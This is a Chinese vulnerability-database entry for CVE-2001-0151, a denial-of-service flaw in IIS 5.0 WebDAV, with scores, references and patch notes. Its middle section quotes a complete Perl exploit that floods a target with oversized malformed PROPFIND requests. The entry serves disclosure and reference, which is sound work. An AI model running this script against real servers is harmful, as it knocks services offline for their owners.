CVE-2001-0151
CVSS5.0
发布时间 :2001-06-02 00:00:00
修订时间 :2008-09-10 15:07:20
NMCOE    

[原文]IIS 5.0 allows remote attackers to cause a denial of service via a series of malformed WebDAV requests.


[CNNVD]IIS服务拒绝漏洞(CNNVD-200106-026)

        IIS 5.0版本存在漏洞。远程攻击者借助一系列畸形的WebDAV请求导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:90IIS Denial of Service via WebDAV
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0151
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0151
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-026
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/MS01-016.asp
(VENDOR_ADVISORY)  MS  MS01-016
http://xforce.iss.net/xforce/xfdb/6205
(UNKNOWN)  XF  iis-webdav-dos(6205)

- 漏洞信息

IIS服务拒绝漏洞
中危 未知
2001-06-02 00:00:00 2005-05-02 00:00:00
远程  
        IIS 5.0版本存在漏洞。远程攻击者借助一系列畸形的WebDAV请求导致服务拒绝。

- 公告与补丁

        

- 漏洞信息 (20664)

Microsoft IIS 5.0 WebDAV Denial of Service Vulnerability (EDBID:20664)
windows dos
2001-03-08 Verified
0 Georgi Guninski
N/A [点击下载]
source: http://www.securityfocus.com/bid/2453/info

Microsoft IIS is subject to a denial of service condition. WebDAV contains a flaw in the handling of certain malformed requests, submitting multiple malformed WebDAV requests could cause the server to stop responding. This vulnerability is also known to restart all IIS services. 

#!/usr/bin/perl 
# Written by Georgi Guninski 
use IO::Socket; 

print "IIS 5.0 propfind\n"; 

$port = @ARGV[1]; 
$host = @ARGV[0]; 
  

sub vv() 
{ 

$ll=$_[0]; #length of buffer 
$ch=$_[1]; 
$over=$ch x $ll; #string to overflow 

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; 
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
# ^^^^ This is another issue and also works with length ~>65000 
  

$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
$l=length($xml); 
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; 
syswrite($socket,$req,length($req)); 
print "."; 
$socket->read($res,300); 
#print "r=".$res; 
close $socket; 
} 
  

do vv(128008,"V"); # may need to change the length 
sleep(1); 
do vv(128008,"V"); 
print "Done.\n"; 

		

- 漏洞信息

1770
Microsoft IIS WebDAV Malformed PROPFIND Request Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2001-03-08 Unknow
2001-03-08 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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